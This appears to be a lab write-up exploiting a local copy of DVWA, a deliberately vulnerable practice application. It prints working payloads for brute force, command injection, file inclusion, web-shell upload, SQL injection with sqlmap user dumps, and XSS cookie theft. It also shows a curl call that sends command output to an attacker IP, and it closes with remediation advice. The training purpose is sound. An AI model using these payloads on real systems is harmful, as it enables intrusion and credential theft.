Exploiting DVWA
Damn Vulnerable Web Application (DVWA) is a deliberately insecure PHP-based web application. It includes a wide range of common issues like SQL Injection, Cross-Site Scripting (XSS), File Inclusion, and more, all with adjustable difficulty levels to simulate real-world scenarios.
DVWA installation via Docker
To set up DVWA (Damn Vulnerable Web Application) quickly and efficiently, I chose to run it in a Docker container. This method is clean, fast, and doesn’t require manually installing a web server or database.
Make sure you have both
Docker
andDocker Compose
installed on your machine before proceeding.
Clone the DVWA GitHub repository and change into the DVWA
directory
1
2
3
git clone https://github.com/digininja/DVWA.git
cd DVWA
Start the container using docker-compose
1
docker-compose up -d
Once the containers are up and running, DVWA should be accessible at http://localhost:4280
. The default credentials to login are admin:password
.
All exploits were done using the
medium
difficulty
Brute Forcing
In this section we are presented with a simple login form.
The first step is to intercept the request of a login attempt through tools like Burp Suite,ZAP or Caido, allowing us to get a better idea of the request being sent.
I sent a login attempt with the credentials wiper:wiper
and intercepted the GET request with Burp Suite. Looking through the request we see the parameters username
and password
and there respective values which in my case was wiper
for both. Using the Intruder
feature of Burp Suite allows you to automate customized attacks by injecting payloads into specific parts of HTTP requests, making it ideal for tasks like fuzzing, brute-force attacks, and parameter manipulation.
I then configured Intruder by setting the positions for the username and password parameters, selected the ClusterBomb attack type, and used a common username word list alongside a common password word list to perform a brute-force login attempt.
Once the attack began, I monitored the Response Received
column to identify any anomalies—such as differences in response length or status—that could indicate a successful login attempt. Based on the results we see that the second request made with the username admin
and password password
has a lower response than all the other requests, checking the response of the request we successfully brute forced the login based on the welcome message in the response.
Command Injection
This is a common location for command injection, as the web application is executing a system command using user-supplied input. In this example, it runs the ping command followed by the IP address we provide. If we can manipulate the input to break out of the intended command and append our own, we can execute arbitrary system commands—demonstrating a classic command injection vulnerability.
By intercepting the request with Burp Suite, we can observe a parameter named ip
. This parameter is likely the injection point, as its value appears to be passed directly into the ping
command on the server. If this input isn’t properly sanitized, we can attempt to inject additional system commands and exploit the vulnerability.
I sent the intercepted request to Burp Suite’s Intruder to fuzz the ip parameter with various payloads aimed at breaking out of the ping command and running other system commands. I used a simple word list containing common injection characters and their URL-encoded versions. I appended the id command as a payload, because if the injection is successful, the response should include the output of id, confirming command execution.
Once I found a valid injection character that allowed me to break out of the original command, I was able to display the contents of the /etc/passwd
file. To handle issues with spaces in commands, you can use ${IFS}
(the internal field separator) or %09
(URL-encoded tab) as a space bypass technique.
File Inclusion
Local File Inclusion
The first thing I noticed was that the URL http://127.0.0.1:4280/vulnerabilities/fi/?page=include.php
appeared to be including a file via the page parameter. This behavior suggested the possibility of a Local File Inclusion (LFI) vulnerability, as the application might be including files based on user input without proper validation. Using ffuf
allows to fuzz for any valid payloads. I was able to find a few payloads but below is the one I ended up using.
1
2
3
4
5
└─$ ffuf -u 'http://localhost:4280/vulnerabilities/fi/?page=FUZZ' -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -b "security=medium; PHPSESSID=840a9ce070450144a0e43602f37920a3; theme=dark" -mr "root:x:0:0:root:"
...SNIP...
///////../../../etc/passwd [Status: 200, Size: 5085, Words: 282, Lines: 112, Duration: 89ms]
...SNIP...
With a valid LFI payload, we can now complete the objective: “Read all five famous quotes from ‘../hackable/flags/fi.php’ using only file inclusion.” Since the target file is a .php file, including it directly may execute the code instead of displaying its contents. To bypass this, we can use the PHP wrapper php://filter to base64-encode the output before it’s processed. This allows us to read the raw source code of the file. The payload would look like this:
1
php://filter/read=convert.base64-encode/resource=///////../../../var/www/html/hackable/flags/fi.php
After including the file using this wrapper, we can decode the base64 output to reveal the contents and read all five quotes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if( !defined( 'DVWA_WEB_PAGE_TO_ROOT' ) ) {
exit ("Nice try ;-). Use the file include next time!");
}
?>
1.) Bond. James Bond
<?php
echo "2.) My name is Sherlock Holmes. It is my business to know what other people don't know.\n\n<br /><br />\n";
$line3 = "3.) Romeo, Romeo! Wherefore art thou Romeo?";
$line3 = "--LINE HIDDEN ;)--";
echo $line3 . "\n\n<br /><br />\n";
$line4 = "NC4pI" . "FRoZSBwb29s" . "IG9uIH" . "RoZSByb29mIG1" . "1c3QgaGF" . "2ZSBh" . "IGxlY" . "Wsu";
echo base64_decode( $line4 );
?>
<!-- 5.) The world isn't run by weapons anymore, or energy, or money. It's run by little ones and zeroes, little bits of data. It's all just electrons. -->
Remote File Inclusion
We can test for Remote File Inclusion (RFI) using the same page
parameter by pointing it to a file hosted on our attacker machine. If the inclusion is successful, the server should make a request to our listener. However, standard lowercase http
often fails due to input filtering. A simple bypass is to capitalize the H
in the protocol, like so:
1
http://127.0.0.1:4280/vulnerabilities/fi/?page=Http://192.168.186.133/RFI
If the inclusion works, you’ll see a connection attempt in your terminal
1
2
3
4
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
172.20.0.3 - - [04/Jul/2025 15:24:10] code 404, message File not found
172.20.0.3 - - [04/Jul/2025 15:24:10] "GET /RFI HTTP/1.1" 404 -
File Upload
When attempting to upload a PHP web shell named rev.php, the application returned an error message stating that only .jpeg and .png image files are allowed. However, upon inspecting the upload request in Burp Suite, I noticed the server was checking the Content-Type header.
By changing the Content-Type from application/x-php (or whatever the default was) to image/png, I was able to bypass the file type restriction. The upload then succeeded, and the server’s response included the exact path where the file was saved.
Navigating to the uploaded file in the browser triggered the execution of the PHP shell, confirming remote code execution (RCE) on the target system.
1
2
└─$ curl -s 'http://localhost:4280/hackable/uploads/rev.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
SQLi
Manual SQLi
By intercepting the request in Burp Suite, I observed a POST
request containing a parameter named id
. To test for SQL injection, I inserted a simple payload:
1
1 OR 1=1-- -
This payload exploits the vulnerability by modifying the SQL query logic 1=1
is always true, so the database returns all user records instead of just one. As a result, all users were displayed on the page, confirming that the input is directly included in the SQL query without proper sanitization.
To further enumerate the database, I attempted a UNION-based SQL injection
. The first step in this process is to determine the correct number of columns being selected in the original SQL query. This is necessary because the UNION
operator requires both queries to return the same number of columns.
I tested progressively with NULL
placeholders until the application responded without an error. In this case, the query:
1
1 UNION SELECT null,null-- -
executed successfully, confirming that the original query returns 2 columns. At this point, the web application displayed the usual content, indicating a valid structure and that we could proceed to inject data into the output.
With the correct number of columns identified, I proceeded to extract sensitive data from the database. Using a UNION-based injection, I was able to dump all usernames and their associated password hashes from the users
table with the following payload
1
1 UNION SELECT user,password FROM users-- -
SQLi via SQLMap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─$ cat req.txt
POST /vulnerabilities/sqli/ HTTP/1.1
Host: 127.0.0.1:4280
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:4280/vulnerabilities/sqli/
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://127.0.0.1:4280
Connection: keep-alive
Cookie: PHPSESSID=6e807fd1741b509ac7b50aaf6df86c2c; security=medium
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Priority: u=0, i
id=1&Submit=Submit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ sqlmap -r req.txt req.txt -batch -p id
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: id=1 OR NOT 4527=4527&Submit=Submit
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 6619 FROM(SELECT COUNT(*),CONCAT(0x7171627871,(SELECT (ELT(6619=6619,1))),0x7162706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 3912 FROM (SELECT(SLEEP(5)))Dncg)&Submit=Submit
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x7171627871,0x784f774d464d797a4552617768674c4c6c59594c66667457746c437555576d7962524c666e515342,0x7162706b71)-- -&Submit=Submit
---
[16:52:03] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.4.8, Apache 2.4.62
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ sqlmap -r req.txt req.txt -batch -p id -T users --dump
Database: dvwa
Table: users
[5 entries]
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | user | avatar | password | last_name | first_name | last_login | failed_login |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 1 | admin | /hackable/users/admin.jpg | d41d8cd98f00b204e9800998ecf8427e (<empty>) | admin | admin | 2025-06-27 17:14:52 | 0 |
| 2 | gordonb | /hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brownd | Gordon | 2025-06-27 17:14:52 | 0 |
| 3 | 1337 | /hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2025-06-27 17:14:52 | 0 |
| 4 | pablo | /hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2025-06-27 17:14:52 | 0 |
| 5 | smithy | /hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith123 | Bob123 | 2025-06-27 17:14:52 | 0 |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
Blind SQLi
For Blind SQLi we can test using these simple Boolean-based payloads:
1
2
id=1 AND 1=1
id=1 AND 1=2
In a blind SQLi scenario, we don’t see direct output from the database, but we can infer whether a condition is true or false based on how the application responds. In this case, injecting 1 AND 1=1 returned the message:
1
User ID exists in the database
While injecting 1 AND 1=2 returned:
1
User ID is MISSING from the database
This change in behavior confirms that the application is vulnerable to Blind SQL Injection, as the SQL logic affects the application’s response even though the output isn’t directly shown.
Putting the POST request into sqlmap
we can enumerate further,firstly we have to find the current database name with the following command:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ sqlmap -r blind.req -batch -p id --dbs
[17:04:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62, PHP 8.4.8
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:04:14] [INFO] fetching database names
[17:04:14] [INFO] fetching number of databases
[17:04:14] [INFO] resumed: 2
[17:04:14] [INFO] resumed: information_schema
[17:04:14] [INFO] resumed: dvwa
available databases [2]:
[*] dvwa
[*] information_schema
Now with the name of the database we can enumerate all the tables:
1
2
3
4
5
6
7
8
└─$ sqlmap -r blind.req -batch -p id -D dvwa --tables
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
Finally dump all the users and their hashed passwords:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ sqlmap -r blind.req -batch -p id -D dvwa -T users --dump
Database: dvwa
Table: users
[5 entries]
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | user | avatar | password | last_name | first_name | last_login | failed_login |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 3 | 1337 | /hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2025-06-27 12:59:44 | 0 |
| 1 | admin | /hackable/users/admin.jpg | 098f6bcd4621d373cade4e832627b4f6 (test) | admin | admin | 2025-06-27 12:59:44 | 0 |
| 2 | gordonb | /hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2025-06-27 12:59:44 | 0 |
| 4 | pablo | /hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2025-06-27 12:59:44 | 0 |
| 5 | smithy | /hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2025-06-27 12:59:44 | 0 |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
Weak Session IDs
Clicking the generate button whilst intercepting the request we see that response changes the cookie to
1
Set-Cookie: dvwaSession=1751040911
This value appears to be an epoch timestamp. Converting it to human-readable format revealed the current date and time, suggesting the session ID is predictable and time-based.
Being able to understand and potentially predict session cookies this easily opens the door to session hijacking. To prevent this, session identifiers should be long, random, and unpredictable. Additionally, applications should implement CSRF tokens and other mechanisms to protect session integrity and prevent unauthorized access.
XSS
DOM
In the URL, we notice a parameter named default, which changes based on the selected language
1
http://localhost:4280/vulnerabilties/xxs_d?default=English
Attempting a basic XSS payload using an <img>
tag didn’t work initially:
1
2
http://localhost:4280/vulnerabilties/xxs_d?default=<img src=/ onerror=alert(document.cookie)>
To understand why, I checked the page’s source code and found that the default parameter is used inside a <script>
block to dynamically populate a <select>
element
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
Here, the payload is being injected into the page through JavaScript and rendered inside a <select>
element. To successfully trigger an XSS alert, we need to escape the context of the <select>
tag. This can be done by injecting a closing tag followed by our payload
1
</select><img src=/ onerror=alert(document.cookie)>
This breaks out of the current HTML context and allows the JavaScript event handler to execute, successfully triggering the alert.
Reflected
Entering input into the form reveals that the value is reflected directly back into the page without proper sanitization
To test for Reflected Cross-Site Scripting, I used a simple payload
1
http://127.0.0.1:4280/vulnerabilities/xss_r/?name=<img src=/ onerror=alert(document.cookie)>
This payload successfully triggered an alert box displaying the current cookies
This confirms that the input is being injected into the page without any sanitization or encoding, making the application vulnerable to reflected XSS attacks.
Stored
On the Stored XSS page, there are two input fields: one for a name and another for a message. Initially, I attempted a basic XSS payload
1
<img src onerror=alert(XSS)>
However, the input fields had client-side character limits, and the payload was too long for the name field. The message field allowed longer input, but even when submitting the full payload, the JavaScript did not execute — suggesting potential filtering or improper injection context. To bypass the client-side restriction, I intercepted the request using Burp Suite and modified the name parameter directly. Since there is no backend validation on the character length, the payload was accepted and stored.
Upon visiting the page again, the payload in the name field successfully executed, confirming a Stored XSS vulnerability This demonstrates how client-side restrictions alone are insufficient for security. Input validation and proper output encoding must be enforced on the server side as well.
API
We are provided with an openapi.yml
specification file and instructed to investigate the health-related functions for potential vulnerabilities. Using the OpenAPI Parser extension in Burp Suite, I loaded the YAML file and located a suspicious endpoint
1
/vulnerabilities/api/v2/health/connectivity
This endpoint appears to check the connectivity status of a given target. To test it, I sent a request with the target set to localhost
. The response confirmed that the target was reachable
1
2
3
{
"status":"OK"
}
Given that the server processes the target
value, I tested whether command injection was possible by attempting to break out of the command context. There was no direct reflection in the response, so to detect successful command execution, I used out-of-band interaction via a curl
request to my attacker machine.
1
2
3
{
"target":"localhost; curl 192.168.186.133"
}
On my attacker’s machine, running a Python HTTP server, I saw the following response.
1
2
3
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
172.21.0.3 - - [07/Jul/2025 17:38:21] "GET / HTTP/1.1" 200 -
This confirmed that the semicolon ;
was a valid injection separator and that command injection was possible.
To extract the result of a system command, I crafted the payload to include a URL parameter that would contain the command output using $(...)
1
2
3
{
"target":"localhost; curl 192.168.186.133?cmd=$(whoami)"
}
The attacker machine received the request with the command output.
1
2
3
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
172.21.0.3 - - [07/Jul/2025 17:42:17] "GET /?cmd=www-data HTTP/1.1" 200 -
This confirmed successful command execution as www-data is the user.
Remediation
Command Injection via API Remediation
To remediate this vulnerability, avoid passing user input directly into system commands—use safer alternatives like internal libraries for network checks instead of shell commands. If executing system commands is absolutely necessary, use functions that don’t invoke the shell (e.g., execFile
instead of exec
), and ensure strict input validation with whitelisting to only allow safe values (e.g., valid IPs or hostname). Additionally, disable unnecessary debug or health-check endpoints in production, implement proper authentication and access control, and monitor logs for suspicious activity.
Stored XSS Remediation
Stored XSS occurs when malicious scripts are saved on the server and executed when viewed by another user. To mitigate this, always perform strict server-side input validation, rejecting or sanitizing inputs that contain potentially dangerous characters like <, >, “, and ‘. Any user-generated content that is later rendered on a page should be output-encoded according to context (HTML, JavaScript, or attributes). Use frameworks or templating engines that automatically escape output safely. Implementing a strong Content Security Policy (CSP) can add an extra layer of protection by restricting the sources of executable scripts
Reflected XSS Remediation
Reflected XSS can be mitigated by never reflecting user input directly into the page without proper encoding. All user-supplied data included in responses should be contextually escaped before rendering. Validate input to ensure it conforms to expected formats, and avoid rendering unsanitized data inside HTML, attributes, or JavaScript. Applying a CSP header helps reduce the risk of script execution if a reflected payload slips through. Make sure to also test query parameters and form inputs for improper handling of special characters.
DOM-based XSS Remediation
DOM-based XSS happens entirely on the client side, often due to insecure JavaScript handling of user-controlled input. Avoid using functions like document.write
, innerHTML
, or eval
with unsanitized data from the URL or DOM. Use secure alternatives like textContent
or setAttribute
, which do not parse HTML. Validate and sanitize input at the point of use, not just at form submission. Regularly audit front-end scripts and implement CSP headers to restrict inline scripts and risky sources.
SQL injection Remediation
To prevent SQL injection, never concatenate user input into SQL queries. Always use prepared statements or parameterized queries provided by the database driver. Input validation should also be used to enforce expected formats (e.g., numeric IDs only). Limit database permissions so that the application account only has the access it needs. Avoid displaying raw SQL error messages to the user, as they can reveal the structure of the database and aid in exploitation.
Blind SQLi Remediation
Mitigation of blind SQLi follows the same principles as standard SQL injection. Use parameterized queries to prevent malicious input from being treated as part of a SQL command. Avoid logic in your application that reveals different responses based on query success or failure (e.g., different error messages or page content). Implement input validation, use application firewalls, and ensure detailed logging is in place to detect suspicious behavior.
Insecure File Upload Remediation
To prevent remote code execution through file uploads, validate files on the server side. Only allow specific file types using both extension checks and MIME type validation, and consider scanning the content using magic byte checks. Rename files upon upload and store them outside the web-accessible directory. Disable script execution in the upload directory by configuring the server (e.g., using .htaccess
or NGINX rules). Finally, do not trust client-side validation, as it can be easily bypassed.
Local File Inclusion Remediation
LFI vulnerabilities arise when user input is used to determine which files to include on the server. To prevent this, never allow user input to dictate file paths unless strictly necessary. Use a whitelist of allowed file names and validate the full path using functions like realpath()
to ensure the file is within a safe directory. Disable directory traversal by filtering out sequences like ../
, and avoid dynamic includes wherever possible. Ensure the web server has restricted read access to only necessary files.
Remote File Inclusion Remediation
To mitigate RFI, disable remote file inclusion features in your programming language or server configuration (e.g., allow_url_include=0
in PHP). Never include files based on user input, and use a whitelist of known-good files if dynamic inclusion is necessary. Sanitize and validate any user input that could affect file paths. Additionally, restrict network access so that the web server cannot access external addresses unnecessarily, further reducing RFI risk.
Brute Force Attacks Remediation
To defend against brute force attacks, implement account lockout mechanisms or rate limiting after a certain number of failed login attempts. Use CAPTCHAs to slow down automated login attempts and ensure consistent logging and alerting for repeated login failures. Always store passwords securely using strong hashing algorithms like bcrypt or Argon2. Additionally, use multi-factor authentication (MFA) to make unauthorized access significantly more difficult even if credentials are compromised.